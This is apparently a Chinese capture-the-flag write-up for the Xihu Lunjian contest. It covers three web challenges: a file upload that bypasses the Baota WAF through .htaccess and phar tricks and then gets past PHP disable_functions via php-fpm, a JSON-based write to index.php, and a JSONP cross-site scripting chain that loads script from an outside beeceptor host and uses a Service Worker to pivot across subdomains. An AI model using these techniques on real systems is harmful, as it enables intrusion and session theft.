西湖论剑
NewUpload
hint:
我装了宝塔 waf,apache 环境,自己本地配一套这种环境就知道怎么弄了。
看看宝塔自己装的 apache 有什么东西?
%00干掉宝塔waf
任意文件上传过滤php关键字
上传.htaccess绕过
普通的payload并不适用与php-fpm通信
在/www/server/panel/vhost/apache
下发现php的解析方式
1 | #PHP |
直接设置SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost"
,访问我们上传的后门并不行,查了下资料发现php-fpm有security.limit_extensions限制了php脚本的后缀名,它的默认值是: .php .phar
所以我们上传phar文件getshell,getshell后发现,我们需要readflag而,命令执行函数都被干掉了,php版本是php 7.4.10
1 | passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv |
把https://github.com/Explorersss/exploits中的脚本试过一边后都不行
但是这里php-fpm服务是通过socket文件通信的,我们可以直接打php-fpm绕过disable function
easyjson
1 |
|
1 | POST /?source=1&action=write&filename=index.php HTTP/1.1 |
flag{a5db5397505f825334aa4dfc17d3bb9f}
hardxss
在登入接口发现如下代码:
1 | callback = "get_user_login_status"; |
利用jsonp任意xss
view-source:https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22//ffffuck.free.beeceptor.com/%22);
利用Service Workers从xss.hardxss.xhlj.wetolink.com移动到auth.hardxss.xhlj.wetolink.com
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22//abcde.free.beeceptor.com/2%22);//
2:
1 | document.domain="hardxss.xhlj.wetolink.com"; |
/:
1 | self.addEventListener('fetch', function(event) { |